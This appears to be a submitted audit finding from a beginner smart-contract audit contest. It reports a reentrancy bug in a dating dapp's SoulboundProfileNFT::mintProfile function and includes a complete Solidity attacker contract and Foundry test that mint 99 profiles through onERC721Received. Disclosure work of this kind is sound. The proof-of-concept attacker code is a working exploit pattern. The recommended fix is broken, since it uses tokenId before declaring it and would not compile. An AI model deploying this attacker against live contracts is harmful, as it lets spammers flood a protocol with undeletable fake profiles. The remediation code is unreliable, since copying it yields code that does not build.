DatingDapp
First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

[H-3] Reentrancy on the `SoulboundProfileNFT::mintProfile` function allow users to mint infinite profiles that can't ever be deleted, leading to an increasingly flooded bot market

keivou

Summary

It's not strange for people that had a bad time with dating apps to try and ruin the fun for everybody else that's actually trying to achieve some level of connection. Due to not following CEI on SoulboundProfileNFT::mintProfile an attacker could create hundreds or thousands of profiles with different names, ages and even use thispersondoesnotexist to pull a profile image for each.

Impact

If for every 1 real person there are 10 fakes, the dapp would be annoying to use, if it's 1:100 or 1:1000 it would be borderline unusable, since there's no way to know who's real or who's not without trying to like them, which considering the "[H-2] No functionality to unlike users in LikeRegistry.sol makes funds stuck until someone likes you back" issue, it would be quite a costly gamble.

Proof of Concept

First, create a ReentrancyAttacker.sol contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import {IERC721TokenReceiver} from "forge-std/interfaces/IERC721.sol";
import {SoulboundProfileNFT} from "../src/SoulboundProfileNFT.sol";
​
contract ReentrancyAttacker is IERC721TokenReceiver {
SoulboundProfileNFT victim;
string name;
uint8 age;
string profileImage;
uint256 private _counter;
uint256 private constant PROFILES = 100;
​
constructor(string memory _name, uint8 _age, string memory _profileImage, SoulboundProfileNFT _victim) {
name = _name;
age = _age;
profileImage = _profileImage;
victim = _victim;
}
​
function attack() public payable {
if (++_counter < PROFILES) {
victim.mintProfile(name, age, profileImage);
}
}
​
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external override returns (bytes4) {
attack();
return IERC721TokenReceiver.onERC721Received.selector;
}
​
receive() external payable {
attack();
}
}

Add these changes on SoulboundProfileNFT.sol:

Add console to do some logging:

import { console } from "forge-std/Test.sol";

Add a log to see what tokenIds are being minted on mintProfile:

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
// Checks
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
// ! Interactions -> Reentrancy
uint256 tokenId = ++_nextTokenId;
+ console.log("tokenId minted:", tokenId);
_safeMint(msg.sender, tokenId);
​
// Effects
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
​
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

For convenience, add a getter function for getting the profileToToken variable in SoulboundProfileNFT.sol:

function getProfileToToken(address user) external view returns(uint256) {
return profileToToken[user];
}

Now onto the test:

Import the ReentrancyAttacker.sol into testSoulboundProfileNFT.t.sol:

import { ReentrancyAttacker } from "./ReentrancyAttacker.sol";

Copy this test:

function testUserCanMintMultipleProfilesAtOnce() public {
// Arrange
attacker = new ReentrancyAttacker("Alan", 24, "ipfs://profileImage", soulboundNFT);
​
// Act/Assert
attacker.attack();
​
// Now let's check the profileToToken
uint256 attackerProfile = soulboundNFT.getProfileToToken(address(attacker));
console.log("attacker profile:", attackerProfile);
}

If the test is run with -vv at the end, the logs can be seen to go from 1 to 99, while the attackerProfile variable displays 1. If run with -vvvv, it can be seen that it emits ProfileMinted(user: ReentrancyAttacker: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], tokenId: 1, name: "Alan", age: 24, profileImage: "ipfs://profileImage") for tokenIds 1 through 99, but ultimately only tokenId 1 is attached to the attacker address.

If later the user or owner burn the profile, it's only tokenId 1 that gets deleted, not all the other tokens since the deletion process only targets address => tokenId and doesn't allow to delete tokenIds directly. Therefore, the other 99 Alans are to remain in the dapp forever.

Recommendations

Correctly apply CEI on SoulboundProfileNFT::mintProfile:

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
// Checks
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
// Effects
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
​
// Interactions
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
​
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Appeal created

n0kto Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.